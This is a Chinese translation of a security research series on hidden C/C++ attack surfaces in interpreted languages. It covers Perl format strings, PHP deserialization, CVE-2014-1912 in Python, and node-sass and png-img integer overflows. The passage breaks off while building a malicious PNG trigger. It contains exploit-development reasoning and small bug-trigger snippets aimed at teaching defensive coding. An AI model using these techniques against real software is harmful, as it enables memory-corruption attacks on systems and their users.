解释型语言背后隐藏的攻击
2024-03-06 10:51:22 阿炯

解释型语言背后隐藏的攻击面,Part1(上)

在本文中,将与读者一起深入考察解释型语言背后隐藏的攻击面。本节原文地址为:Now you C me, now you don't: An introduction to the hidden attack surface of interpreted languages

简介

攻击面就像一层蛋糕。我们通常将软件攻击面定义为任何对攻击者控制的输入做出反应或受其影响的东西。在开发高级解释型语言应用程序时,很容易做出这样的假设:语言本身的运行时系统或代码库中的底层代码是可靠的。

经验证明,这种假设是错误的。

通常情况下,在高级语言的内存管理功能的实现代码中,往往存在着相对脆弱的基于C/C++的攻击面。这种问题可能存在于语言本身的核心实现中,也可能存在于将向高级语言提供基于C/C++的库的第三方语言生态系统中。

这些第三方库通常是通过显式外部函数接口(FFI)或其他形式的API转换包装器来提供其功能的,因为这些API转换包装器便于从较低级别代码中使用较高层的对象,或反之。它们通常被称为本机模块、扩展或FFI首字母缩写的某种形式,这样的攻击面的特点在于,在高级应用程序的安全上下文中,将与C/C++代码相关的各种内存管理漏洞都暴露给了攻击者。

在本系列文章中,我们将探讨在高级语言应用程序上下文中有时被忽略的C/C++攻击面的例子,其中,有些示例是很久之前的,有些是当前发现的。在第一部分中,我们将为解释语言的低级别攻击面提供相应的背景知识,并展示一些跨语言的安全漏洞。在以后的文章中,我们将介绍针对现代解释语言生态系统的新型攻击技术,以及哪些特征倾向于使这些表面上看是轻微的编程错误成为实际可利用的安全漏洞。

本系列文章主要面向希望在如何、为何以及在何处将攻击面暴露给潜在的恶意输入等方面做出明智决定的开发人员,因此,我们将在需要时对软件漏洞的利用理论给出相应的解释。

为了便于讨论,我们对软件漏洞利用的定义大致如下:利用输入内容的影响,将目标进程从其预期的状态空间转移到非预期的状态空间的过程。

摆放餐具

在判断某个代码问题“只是”一个软件bug,还是一个安全漏洞时,完全取决于相应的上下文。一个bug被判定为安全漏洞,应满足下列条件:它们应以某种状态、方式或形式帮助攻击者发动进攻。这本身是高度依赖于上下文的,尤其是在处理核心语言问题时。受影响的API如何以及在何处暴露于攻击者的输入,决定了是否可以将其视为安全漏洞。

在解释型语言的上下文中,存在两种主要的攻击方案。在第一种情况下,攻击者可以在目标解释器上运行其自己的程序,通常,他们的目标是破坏解释器本身的安全措施,以诱使托管解释器的进程跨越某种安全边界。

这样的示例包括Web浏览器使用的Javascript解释器中的安全漏洞。这个主题的变体包括以下场景:攻击者已在攻击的第一阶段获得了运行任意解释型代码的能力,但解释器本身实施了某种限制(例如:由于存在严格的PHP配置,使其无法使用命令执行功能),从而限制了他们进一步开展攻击的能力。

当攻击者对目标解释器拥有完全访问权限时,通常会在核心解释器的实现中查找漏洞。例如,在各种Javascript解释器中存在内存管理漏洞,通常能演化成Web浏览器中可利用的客户端漏洞。由于攻击者完全控制了解释器的状态,因此,从攻击者的角度来看,解释器本身的任何bug都可能是非常有用的。

在第二种情况下,攻击者可以利用解释型语言实现中的某些逻辑,向其提供输入,但无法直接与解释器进行交互。在这些情形中,攻击者的攻击范围受到他们实际可以直接或间接向其传递数据的API的限制。

当攻击者只能控制用高级语言实现的目标进程的输入时,他们就只能影响接收这些输入的逻辑,从而限制了他们的选择余地。在这些情况下,通过深入挖掘找出处理输入的底层攻击面,可以发现从较高级别逻辑角度看不到的漏洞。

从攻击者的角度来看,我们的主要目标是增加攻击面的深度。不要横着挖,而是往下挖!

剥开糖衣

关于解释型语言可以在较低级别进行利用的漏洞,已经由来已久。在本文中,我们不会完整的介绍这些漏洞的历史,但是,我们将深入研究一些有趣的例子——它们为我们展示了高级编程语言的bug是如何转化为底层编程语言的安全漏洞的——希望这些“老洞”能够激发读者新的灵感。

历史上的示例:当Perl格式化出错时

2005年的Perl代码中存在的格式字符串漏洞是一个有趣的案例。为了充分理解这个安全问题,我们首先要快速回顾一下C程序中格式字符串漏洞利用方面的基础知识。

C格式字符串漏洞简介

虽然许多人认为格式字符串错误由于易于检测而在很大程度上已被根除,但它们仍然不时出现在意想不到的地方。

从解释型语言与低级代码交互的上下文中考虑格式字符串错误也很有趣,因为它们可能会在较高级别上预处理攻击者控制下的格式字符串,然后直接传递给较低级别的格式化函数。这种延迟型格式化问题并不少见,尤其是当格式串的源和所述格式串的目的地之间存在强烈的逻辑分离时,特别容易出现这种问题。

简单地说,格式字符串错误是一类错误,其中攻击者将自己的格式字符串数据提供到格式化函数中,例如printf(attacker_controll)。然后,他们可以滥用对受控格式说明符的处理,以实现对目标进程空间的读写原语。

对此类漏洞的实际攻击主要依赖于滥用%n和%hn类格式说明符的能力。这些格式符会命令格式化函数将打印字符的当前运行计数分别写入整型(%n)或短整型(%hn)变量中,例如printf(“abcd%n”,&count)将通过指针参数将值4写入整型变量count中。

同样,在格式化函数的输出对攻击者可见的情况下,攻击者只需提供期望打印变量值(例如printf("%x%x%x%x"))的格式标识符,即可转储内存内容。当将预期的目标指针值与其%n个对应值对齐时,这种“吃掉”堆栈的能力也变得非常重要。

如果攻击者能够向格式化函数的调用堆栈提供受控数据(通常是通过恶意格式字符串本身来实现的),并禁用所有编译器缓解措施,则攻击者可以将对写入字符计数器的控制与对%n/%hn将写入的指针值的控制相结合,这样的话,他们就可以将自己控制的值写入指定的内存位置了。

通过使用诸如在格式说明符上设置精度/宽度等技巧,将写入字符计数器设置为特定值,并在支持的情况下设置直接参数访问索引,即使是少量的格式的字符串输入也能转化为攻击者强大的攻击原语。

C语言格式化函数中的直接参数访问(DPA)特性,允许我们指定用于格式标识符的参数的索引。例如printf("%2$s %1$s\n", "first", "second") 将打印“second first”,因为第一个字符串格式标识符指定了参数 2 (2$),第二个字符串格式标识符指定了参数1(1$)。同样,从攻击者的角度来看,使用DPA可使您直接偏移到存放给定%n/%hn写入所需的目标指针值的堆栈位置。理解DPA的用途对于回顾历史上的Perl示例非常重要。

小结

通常情况下,在高级语言的内存管理功能的实现代码中,往往存在着相对脆弱的基于C/C++的攻击面。这种问题可能存在于语言本身的核心实现中,也可能存在于将向高级语言提供基于C/C++的库的第三方语言生态系统中。本文中,我们为读者介绍了与此紧密相关的C格式字符串漏洞方面的知识,在下一篇文章中,我们将为读者介绍这些底层实现是如何影响解释型语言的安全性的。

解释型语言背后隐藏的攻击面,Part1(下)


在本节中将与读者一起深入考察解释型语言背后隐藏的攻击面。原文地址为:Now you C me, now you don't, part two: exploiting the in-between

通常情况下,在高级语言的内存管理功能的实现代码中,往往存在着相对脆弱的基于C/C++的攻击面。这种问题可能存在于语言本身的核心实现中,也可能存在于将向高级语言提供基于C/C++的库的第三方语言生态系统中。本上一篇文章中,我们为读者介绍了与此紧密相关的C格式字符串漏洞方面的知识,在本文中,我们将为读者介绍这些底层实现是如何影响解释型语言的安全性的。

Perl格式化的幽灵(CVE-2005-3962)

对于解释型语言来说,提供自己的格式设置函数的情况并不少见,特别是Perl通过其较低级别的Perl_sv_vcatpvfn函数提供格式支持。这些低级C API为高级Perl API提供了许多核心格式化支持。它的格式化支持在语法上与C语言的格式化支持有些相似,因为它也支持直接参数访问的概念,在Perl中,该参数被称为“精确格式索引”,以及格式标识符%n。

当我们考虑到存在基于Perl的远程服务应用程序明显易受格式字符串错误的影响时,了解Perl内置的格式化支持就变得非常有趣。然而,由于没有办法在Perl级别上直接利用这些错误,因此,安全研究社区并没有花太多精力来尝试利用这些错误,而是通常将它们视为“只不过是一个bug而已”。

大约在2005年,在CVE-2005-3962的作者(Jack Louis)确定这些漏洞的可利用性之后,我对Perl格式字符串漏洞进行了更深入的研究。在Webmin中测试Jack Louis发现的Perl格式字符串错误时,他在Perl解释器中遇到了一些可观察到的崩溃。

事实证明,攻击者确实可以通过Perl_sv_vcatpvfn中的格式化支持的C级实现来利用基于Perl的格式字符串漏洞。

Perl格式字符串的参数存储在参数结构指针数组(称为svargs)中,并为格式说明符(例如%1$n)提供准确的格式索引,以使用该索引从参数数组检索适当的参数结构指针。当从数组中检索关联的参数结构指针时,Perl将根据格式字符串可用的参数数量,确保所提供的索引不超过数组的上限。这里的参数计数实际上保存一个带符号的整型变量中,即svmax。也就是说,如果将格式字符串传递了1个参数,则svmax的值为1,并且检查精确格式索引值不超过1。如果攻击者提供了格式字符串,则不存在任何参数,这时svmax的值为0。

但是,精确格式索引也是带符号的32位整数,并且其值完全由攻击者提供的格式字符串控制。这意味着您可以将此参数数组索引设置为负值,这样也可以通过针对svmax的带符号上限检查。

了解这一点后,漏洞的利用就变得相当简单了。人们可以直接通过svargs数组索引指向任何指向攻击者控制的数据的指针。这种受攻击者控制的数据将被解释为参数结构,其中包含指向值字段的指针。与熟悉的%n格式说明符相结合,攻击者就能够对受控位置执行受控写入操作。使用这样的写原语,就可以覆盖任何可写进程内存的内容,而这些内容可以通过各种方式用于完整的过程控制中。

这是一个很好的例子,它为我们展示了Perl格式化实现的bug是如何转化为安全漏洞的。结合Webmin中的格式字符串漏洞,攻击者就能够对Webmin发动远程代码执行(RCE)攻击。

我们得出的结论是,即使在较高级语言级别上看起来似乎“只是一个bug”的问题,也需要对错误输入的较低级别处理进行深入的考察,因为它们很可能会转化为一个高危漏洞——即使人们曾经认为这样的问题实际上是不可利用的。

PHP解释器的无限潜力

从攻击者的角度来看,他们一直对PHP解释器的许多版本趋之若鹜。这是因为,攻击者通常可以从解释器控制角度和远程API输入角度对其发动攻击:对于前者,攻击者能够执行任意PHP代码;对于后者,攻击者可以向潜在易受攻击的PHP API提供恶意输入。

利用PHP解释器的一个更有趣的例子是反序列化攻击。因为攻击者曾经在PHP逻辑级别和核心解释器级别攻陷过PHP的反序列化API。

人们普遍认为,对不受信任的用户提供的数据进行反序列化是一个坏主意。在远程应用程序的上下文中,任意的对象反序列化可能会导致相对简单的PHP任意执行,这取决于应用程序命名空间中哪些类是可用的和允许的。这个主题超越了语言的界限,我们在几乎所有支持反序列化的语言和应用程序框架中都看到了同样的概念。

在攻击者实现任意PHP执行攻击后,他们可能会发现自己受到受限解释器配置的制约,这时他们通常会探索解除这些限制的方法。历史上流行的一种方法是滥用PHP解释器本身的bug。最近在Php-Bug-76047中可以找到这类攻击的一个示例,其中可以利用debugbacktrace()函数中的释放后使用(UAF)漏洞来完全控制PHP解释器本身,并废除所有配置方面的限制。

有时,即使提供了受控的PHP反序列化原语,由于攻击者无法获悉哪些类是可用的,或因应用程序命名空间存在某些限制,而无法将其转化为任意PHP执行能力。这时,从上层下潜到较低的代码层,很可能就能找到突破口。

由于PHP的反序列化API中存在大量内存管理不善问题,因此,长久以来,它们一直都是模糊测试和解释器漏洞的热门研究目标。

通过利用反序列化API在解释器实现层面的内存管理不善问题,一个坚定的攻击者能够将一个原本不可利用的漏洞转变成一个完全可利用的漏洞。实际上,已经出现过许多通过该攻击面远程利用PHP应用程序的实际例子。

最近的一个例子出现在Ruslan Habolov撰写的一篇优秀的文章中,其中描述了他们如何利用低级PHP解释器错误和高级PHP API的交互,对一个著名的现实目标发动RCE攻击。

PHP反序列化在较高和较低级别实现的混合攻击面是解释型语言垂直攻击面的另一个很好的例子。

把C带入Python中:CVE-2014-1912漏洞

就本文而言,我们的第三个也是最后一个例子是CVE-2014-1912漏洞。这个漏洞存在于Python的socket.recvfrom_into函数中。

在Python2.5中引入的socket.recvfrom_into的预期用途是将数据接收到指定的Python字节数组中。但是,由于该函数缺乏明确的检查,所以无法确保接收数据的目标缓冲区的大小足以容纳指定数量的传入数据。例如socket.recvfrom_into(bytearray(256),512)就会触发内存损坏问题。

后来,人们通过下面的代码对其进行了修复:
diff -r e6358103fe4f Modules/socketmodule.c
--- a/Modules/socketmodule.c    Wed Jan 08 20:44:37 2014 -0800
+++ b/Modules/socketmodule.c    Sun Jan 12 13:21:19 2014 -0800
@@ -2877,6 +2877,14 @@
         recvlen = buflen;
     }
 
+    /* Check if the buffer is large enough */
+    if (buflen < recvlen) {
+        PyBuffer_Release(&pbuf);
+        PyErr_SetString(PyExc_ValueError,
+                        "buffer too small for requested bytes");
+        return NULL;
+    }
+
     readlen = sock_recvfrom_guts(s, buf, recvlen, flags, &addr);
     if (readlen < 0) {
         PyBuffer_Release(&pbuf);

为了利用这个漏洞,应用程序必须显式使用一个大于目标字节数组长度的长度参数,向该字节数组中读入比分配给该数组的空间更多的数据。如果未提供长度参数,则该函数则默认使用目标字节数组本身的长度,因此,就不会发生内存损坏问题。

如果您使用的开发语言要求程序员自己负责内存管理的话,那么对于上述问题肯定不会陌生。您甚至可能认为,任何一个心智正常的人都不会做这样的蠢事。因为很明显,您不应该读取比目标缓冲区中可用的数据更多的数据,对吗?

这个案例的有趣之处就在这里:提供内存管理功能的编程语言的开发人员,通常会倾向信任该语言的实现。但是,当语言中存在诸如CVE-2014-1912之类的问题时,则可能会出现认知失调。

Python开发人员可能完全希望能够在Python解释器不受内存损坏的情况下使用s.recvfrom_into(bytearray(256), 512)。实际上,如果您尝试这个打过补丁后的程序,它现在的表现就像您所期望的那样:

Traceback (most recent call last):
  File "
ValueError: nbytes is greater than the length of the buffer
>>>

所以,这个问题的重点在于,使用被认为是内存安全的语言实现的函数,竟然存在内存破坏漏洞。但对于一个C程序员来说,面对CVE-2014-1912漏洞,他们多半是这样理解的:“是的,就是这样工作的呀,难道不是吗?”

这给了我们一个教训,即使是在宣称内存安全的高级语言中,也绝对不要认为其内存管理绝对是安全的。当处理显式操作静态长度的可变缓冲区的API时,检查你的长度与你的缓冲区相匹配是永远不会有坏处的,即使在由于语言本身的原因不这样做也可能是安全的情况下也是如此。

从攻击者的角度来看,对于通常被认为是内存安全的API进行审计,常常会有意想不到的收获。

小结

作为关于隐藏的C/C++攻击面的系列文章的第一篇,我们已经探讨了几个实际的例子,为大家展示了内存安全的幻觉是如何麻痹开发人员,从而让他们放松对应用程序中接受的输入的警惕的。

本文探讨的漏洞的变体可能而且确实存在于所有解释器API中,这些API一般可以从更高级别访问,并且其核心是用内存不安全语言实现的。这些漏洞是否可被利用,通常取决于开发人员为攻击者提供了多大的回旋余地。

如果开发人员对输入类型、大小和值范围加以严格要求的话,通常能够挫败这种漏洞——例如,当接收到整数值时,将该值的范围显式地限制在应用程序上下文中有意义的范围内,而不是将其开放给变量类型本身的取值范围,这是一种防御性的编程习惯,对您将有很大的帮助。

在本系列的下一篇文章中,将深入研究解释型语言的现代C/C++攻击面,重点介绍流行解释型语言框架的第三方库生态系统,以及针对它们的新型攻击方法。


深入考察解释型语言背后隐藏的攻击面,Part2


在本系列关于解释型语言底层攻击面的第一篇文章中,我们了解到,即使在Javascript、Python和Perl等解释型语言的核心实现中,内存安全也不是无懈可击的。



在本部分中将更加深入地探讨,在通过外部函数接口(Foreign Function Interface,FFI)将基于C/C++的库“粘合”到解释语言的过程中,安全漏洞是如何产生的。正如我们之前所讨论的,FFI充当用两种不同语言编写的代码之间的接口。例如,使一个基于C语言的库可用于Javascript程序。

FFI负责将编程语言A的对象翻译成编程语言B可以使用的东西,反之亦然。为了实现这种翻译,开发人员必须编写特定于语言API的代码,以实现两种语言之间的来回转换。这通常也被称为编写语言绑定。

从攻击者的角度来看,外部语言绑定代表了一个可能的攻击面。当处理一个从内存安全语言翻译成内存不安全语言(如C/C++)的FFI时,开发者就有可能引入内存安全漏洞。即使高层的语言被认为是内存安全的,同时目标外部代码也经过了严格的安全审查,但是,在两种语言之间架起桥梁的代码中,仍可能潜伏着可利用的漏洞。

在这篇文章中,我们将仔细研究两个这样的漏洞,将一步步地了解攻击者如何评估你的代码的可利用性的。本文的目的是提高读者对exploit开发过程的理解,而不仅仅是针对一个具体的案例,而是从概念的角度来理解。通过了解exploit开发人员如何思考您的代码,帮您建立防御性的编程习惯,从而编写出更安全的代码。

在我们的案例研究中,我们将考察两个看起来非常相似的bug,然而只有一个是bug,而另一个则是一个安全漏洞。两者都存在于绑定Node.js包的C/C++代码中。

node-sass

Node-sass是一个库,它将Node.js绑定到LibSass(一款流行的样式表预处理器Sass的C版本)。虽然node-sass最近被弃用了,但它每周仍有500万次以上的下载量,所以,它是一个非常有价值的审计对象。当阅读node-sass绑定时,我们注意到以下代码模式:
int indent_len = Nan::To
    Nan::Get(
        options,
        Nan::New("indentWidth").ToLocalChecked()
    ).ToLocalChecked()).FromJust();
 
[1]
  ctx_w->indent = (char*)malloc(indent_len + 1);
  strcpy(ctx_w->indent, std::string(
[2]
    indent_len,
    Nan::To
        Nan::Get(
            options,
            Nan::New("indentType").ToLocalChecked()
        ).ToLocalChecked()).FromJust() == 1 ? '\t' : ' '

在[1]处,我们注意到一个受控于用户输入的32位整数值被用于内存分配。如果该用户提供的整数为-1,则整数算术表达式indent_len + 1的值将变成0。在[2]处,原始负值用于创建由indent_len字符组成的制表符或空格字符串,其中indent_len值为负,现在将变成一个相当大的正值,因为std::string构造函数期望接收无符号的长度参数,其类型为size_t。

在JS API级别,我们注意到indentWidth的检索方式如下所示:
/**
 * Get indent width
 *
 * @param {Object} options
 * @api private
 */

function getIndentWidth(options) {
  var width = parseInt(options.indentWidth) || 2;
  return width > 10 ? 2 : width;
}

此处的目的是确保indentWidth >= 2或 <= 10,但实际上这里仅检查了上界,并且parseInt允许我们提供负值,例如:
var sass = require('node-sass')
var result = sass.renderSync({
        data: `h1 { font-size: 40px; }`,
        indentWidth: -1
});

这将触发一个整数溢出,从而导致分配的内存不足,并进一步导致后续的内存被破坏。

为了解决这个问题,node-sass应该确保在将用户提供的indentWidth值传递给底层绑定之前,先检查该值的下界和上界。

全面地检查输入,并明确地将它们的取值范围限制在对程序逻辑有意义的范围内,这将很好地帮助您养成一种通用的防御性编程习惯。

所以我们来总结一下。这里的bug模式是什么?整数溢出,导致堆分配不足,其后的内存填充可能会破坏相邻的堆内存。听起来确实值得分配CVE,不是吗?

然而,虽然这个整数溢出确实会导致堆内存分配不足,但这个bug并不代表就是一个漏洞,因为这个样式表输入很可能不是攻击者控制的,并且在任何堆破坏发生之前,都会抛出std::string异常。即使发生了堆损坏,也只是一个非常有限的控制覆盖(借助于一个非常大的indent_len的制表符或空格字符),所以实际被利用的可能性很低。

anticomputer@dc1:~$ node sass.js
terminate called after throwing an instance of 'std::length_error'
  what():  basic_string::_S_create
Aborted (core dumped)

结论:只是一个bug。

那么,什么情况下攻击者才会对这样的bug感兴趣呢?攻击者能够对触发bug的输入施加影响。在这种情况下,不太可能有人为node-sass绑定提供受控于攻击者的输入。同时,内存破坏原语本身的控制能力也会非常有限。虽然确实存在这样的情况:即使是非常有限的堆损坏也足以充分利用某个缺陷,但通常攻击者会更乐于寻求具有某些控制权的情形,比如可以控制用于破坏内存的东西,或者可以控制覆盖的内存数量。最好是两者兼而有之。

在这种情况下,即使std::string构造函数没有退出,攻击者也必须用空格或制表符进行大规模的覆盖,以控制进程。虽然这并非完全不可能,但考虑到对周围内存布局的足够影响和控制,可能性仍然偏低。

在这种情况下,我们通常可以通过回答下面的三个问题,来进行一个简单的可利用性“嗅觉测试”:
攻击者是如何触发这个bug的?
攻击者控制了哪些数据,控制到什么程度?
哪些算法受到攻击者控制的影响?

除此之外,可利用性主要取决于攻击者的目标、经验和资源。这些我们可能一无所知。除非您花了很多时间实际编写exploit,否则很难确定某个问题是否可利用。特别是当您的代码被其他软件使用时,即您编写的是库代码,或者是一个更大系统中的一个组件。在一个孤立的环境中,某个错误看起来只是bug,在更大的范围内可能就是安全漏洞。

虽然常识对于确定可利用性有很大的帮助,但在时间和资源允许的情况下,任何可以由用户控制(或影响)的输入触发的bug都是潜在的安全漏洞,因此,将其视为安全漏洞是非常明智的做法。

png-img

对于我们的第二个案例研究,我们将考察GHSL-2020-142。这个bug存在于提供libpng绑定的node.js png-img包中。

当加载PNG图像进行处理时,png-img绑定将使用PNGIMG::InitStorage函数来分配用户提供的PNG数据所需的初始内存。

void PngImg::InitStorage_() {
    rowPtrs_.resize(info_.height, nullptr);
[1]
    data_ = new png_byte[info_.height * info_.rowbytes];

[2]
    for(size_t i = 0; i < info_.height; ++i) {
        rowPtrs_[i] = data_ + i * info_.rowbytes;
    }
}

在[1]处,我们观察到为一个大小为info_.height * info_.rowbytes的png_byte数组分配了相应的内存。其中,结构体成员height和rowbytes的类型都是png_uint_32,这意味着这里的整数算术表达式肯定是无符号32位整数运算。

info_.height可以直接作为32位整数从PNG文件提供,info_.rowbytes也可以从PNG数据派生。

这种乘法运算可能会触发整数溢出,导致data_内存区域分配不足。

例如,如果我们将info_.height设置为0x01000001,而info_.rowbytes的值为0x100,那么生成的表达式将是(0x01000001 * 0x100) & 0xffffffff ,其值为0x100。这样的话,data_将作为一个0x100大小的png_byte数组来分配内存,这明显不够用。

随后,在[2]处,将使用行数据指针填充rowPtrs_array,这些指针指向所分配的内存区的边界之外,因为for循环条件是对原始的info_.height值进行操作的。

一旦实际的行数据被从PNG文件中读取,任何与data_区域相邻的内存都可能被攻击者控制的行数据覆盖,最高可达info_.height * info_.rowbytes字节,这给任何潜在的攻击者提供了大量可控的进程内存。

需要注意的是,根据攻击者的意愿,可以通过不从PNG本身提供足够数量的行数据来提前停止覆盖,这时libpng错误例程就会启动。任何后续处理错误路径的程序逻辑都会在被破坏的堆内存上运行。

这很有可能导致一个高度受控(无论是内容还是大小)的堆溢出漏洞,我们的直觉是,这个bug可能是一个可利用的安全漏洞。

下面让我们来回答可利用性问题,以确定这个bug是否对攻击者具有足够的吸引力。

攻击者是如何触发该bug的?

这个bug是由攻击者提供的PNG文件触发的。攻击者可以完全控制在png-img绑定中作用于PNG的任何数据,并废除文件格式完整性检查所施加的任何限制。

因为攻击者必须依赖于加载的恶意PNG文件,我们可以假设任何利用逻辑都可能必须包含在这个单一的PNG文件中。这意味着,攻击者与目标Node.js进程反复交互的机“可能”更少,例如,实施信息泄露,以帮助后续的漏洞利用过程绕过任何系统级别的缓解措施,如地址空间布局随机化(ASLR)。

我们说“可能”,是因为我们无法预测png-img的实际使用情况。换句话说,也可能存在这样的使用情况:存在可重复的交互机会,来触发该bug或进一步帮助利用该bug。

攻击者能够控制哪些数据,控制到什么程度?

攻击者可以提供所需的height和rowbytes变量,以便对整数运算和后续的整数封装(integer wrap)进行精细控制。被封装的值用于确定data_数组的最终分配内存的大小。它们也可以通过PNG图像本身提供完全受控的行数据,这些数据通过rowPtrs数组中的越界指针值填充到越界内存中。他们可以通过提前终止提供的行数据,精细控制这个攻击者提供的行数据有多少被填充到内存中。

简而言之,攻击者可以通过精细控制内容和长度来覆盖任何与data_相邻的堆内存。

哪些算法会受到攻击者控制的影响?

由于我们处理的是堆溢出,攻击者的影响扩展到任何涉及被破坏的堆内存的算法。这可能涉及Node.js解释器代码、系统库代码,当然还有绑定代码和任何相关库代码本身。



从攻击者角度看问题

从攻击者的角度来看,了解我们可以控制什么,如何控制,以及我们可以影响什么,对于实现bug的可利用性至关重要。此外可利用性还受到目标代码实际使用方式和地点的影响。

如果我们处理的是一个库代码中的bug,而这个库可能被用在更大的软件中,这就为我们作为攻击者提供了各种额外的交互机会和影响力。此外,触发bug的操作环境也非常重要。操作系统、系统的硬件以及它们的软件生态系统都在各种配置中启用了不同级别的系统级缓解措施。在一个操作系统上可以通过缓解措施阻止的漏洞可能在另一个操作系统上完全可以被利用。

在png-img案例中,假设我们面对的是最基本的攻击环境:一个单一的Javascript文件,需要png-img包,然后用它来加载攻击者提供的PNG文件。

var fs = require('fs');
PngImg = require('png-img');
var buf = fs.readFileSync('/home/anticomputer/trigger.png');
img = new PngImg(buf);

大多数现代内存破坏攻击都需要对目标进程内存布局有所了解。因为我们正在重写内存,所以知道它们在原始内存布局中的位置有助于我们构造替代性的,但功能正常的内存内容,以供目标进程使用。

作为攻击者,他们希望滥用这些新的内存内容来欺骗涉及它们的算法来执行对他们有利的操作。通常来说,攻击者的目标是执行任意代码或命令,但攻击者的目标也可能是更深奥的行为。例如,攻击者也可能想要重写身份验证标志,削弱随机数生成器,或以其他方式颠覆软件中的安全关键逻辑。除此之外,即使只是让一个进程不可用,本身就可以成为目标,因为它可能导致意想不到的安全影响

由于缺乏内存布局缓解措施,我们可以对给定的目标二进制代码及其相关的内存布局进行盲目的假设,或者通过信息泄露来了解内存布局。

信息泄露可以是简单的,例如通过其他的或重新设计的bug来泄漏内存的内容,也可以是复杂的,例如使用基于计时或崩溃的探测方法来确定某个特定库的进程内存的某个部分可能存在的位置。需要注意的是,要想利用信息泄露来推进漏洞利用过程,通常需要与目标流程进行反复交互。

由于在我们的single-shot场景中,我们将无法动态地了解目标进程的内存布局,因此,我们将不得不依靠运气和有根据的猜测相结合的方式,在触发内存破坏时判断内存中的位置信息。

首先需要找出针对目标节点二进制文件必须处理的缓解措施,为此可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。


可以看到,目标二进制文件并非一个位置无关的可执行文件(Position Independent Executable,PIE)。这意味着,在同一平台上每次运行这个特定的二进制文件时,Node可执行文件的.text和.data段在内存中的位置保持不变。这对我们的single-shot场景非常有帮助,因为这种知识给了我们一个进入可执行代码和程序数据已知位置的钩子。如果我们测试平台上的Node二进制文件被编译成PIE,由于地址空间布局随机化(ASLR)已经推广到了现代Linux上的PIE二进制文件,所以,在远程的single-shot场景中对这个漏洞的实际利用会受到很大的阻碍。

如果我们没有类似GEF的checksec这样的工具可用,我们也可以直接使用file命令。由于PIE二进制文件就是类型为ET_DYN(共享对象文件)的Elf可执行文件,所以,它们将会显示为共享库,而非PIE二进制文件则是ET_EXEC(可执行文件)类型。例如,如果我们将非PIE Node二进制文件与我们测试平台(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二进制文件进行比较,则需要注意以下几点:

anticomputer@dc1:~$ file /bin/bash
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped

anticomputer@dc1:~$ file /usr/bin/node
/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped进攻计划

现在知道了相应的操作环境,以及在尝试利用漏洞时可能知道哪些内存内容,这样的话,可以开始决定我们要用堆内存控制技术来颠覆哪些算法了。

在这种情况下,会想到三个潜在的选择,从特定于应用程序到特定于平台的范围,具体如下所示:
可以攻击在被破坏的堆内存上运行的png-img和libpng逻辑
可以攻击在被破坏的堆内存上运行的Node.js解释器逻辑
可以攻击在被破坏的堆内存上运行的系统库

对我们而言,这三个选项中哪一个最有意义,主要取决于我们愿意为漏洞利用尝试投入多少时间和精力。但是,就概念验证级别的工作来说,我们需要采取最便捷的漏洞利用途径。为了确定哪条路径,我们必须跟该漏洞打交道,并进行一些动态分析。

构造触发器

到目前为止,我们已经对很多事情进行了理论上的探讨。例如,我们探讨了攻击者判断某个bug是否值得利用时,会考虑哪些因素。既然我们已经决定要尝试利用png-img bug,那么是时候开始鼓捣该bug本身了。

首先,让我们归纳出这个bug的基本触发条件:我们要创建一个PNG文件,用于触发整数溢出,从而导致data_数组内存分配不足,随后用我们精心制作的PNG行数据覆盖堆内存。此外,在libpng的PNG分块解析过程中,我们还必须通过一些校验和检查,这样,我们的恶意PNG数据才能被顺利接受,以进行后续处理。

PNG文件由一个PNG签名和一系列PNG分块组成。这些分块可以进一步分解为:一个4字节的分块长度、一个4字节的分块类型、一个可变长度的分块数据,以及一个4字节的分块类型和数据的CRC校验和。PNG中的第一个分块是IHDR分块,其中规定了图像的宽度和高度。

回顾易受攻击的png-img绑定代码,我们可以发现图像高度是我们需要控制的变量之一,它用于触发整数溢出。另一个变量是一行的字节数。让我们来看看png-img,以及随后的libpng是如何从我们提供的PNG文件中填充这些数据的。

png-img中加载PNG数据的主要入口点是PngImg::PngImg构造函数,其内容如下所示:
PngImg::PngImg(const char* buf, const size_t bufLen)
    : data_(nullptr)
{
    memset(&info_, 0, sizeof(info_));
    PngReadStruct rs;
    if(rs.Valid()) {
        BufPtr bufPtr = {buf, bufLen};
        png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf);
[1]
        ReadInfo_(rs);

        InitStorage_();
        png_read_image(rs.pngPtr, &rowPtrs_[0]);
    }
}

在[1]处,调用了ReadInfo_,它实际上是一个通过libpng的png_read_info函数填充大多数PNG信息的函数。

void PngImg::ReadInfo_(PngReadStruct& rs) {
    png_read_info(rs.pngPtr, rs.infoPtr);
    info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr);
    info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr);
    info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr);
    info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr);
    info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr);
    info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr);
    info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr);
    info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr);
    info_info_.pxlsize = info_.rowbytes / info_.width;
}

png_read_info将遍历所有PNG分块,提取与PNG图像相关的信息,处理IHDR分块,并调用png_handle_IHDR。

/* Read and check the IDHR chunk */
void /* PRIVATE */
png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length) {
   png_byte buf[13];
   png_uint_32 width, height;
   int bit_depth, color_type, compression_type, filter_type;
   int interlace_type;
 
   png_debug(1, "in png_handle_IHDR");
 
   if (png_ptr->mode & PNG_HAVE_IHDR)
      png_chunk_error(png_ptr, "out of place");
 
   /* Check the length */
   if (length != 13)
      png_chunk_error(png_ptr, "invalid");
 
   png_ptr->mode |= PNG_HAVE_IHDR;
 
   png_crc_read(png_ptr, buf, 13);
   png_crc_finish(png_ptr, 0);
 
[1]
   width = png_get_uint_31(png_ptr, buf);
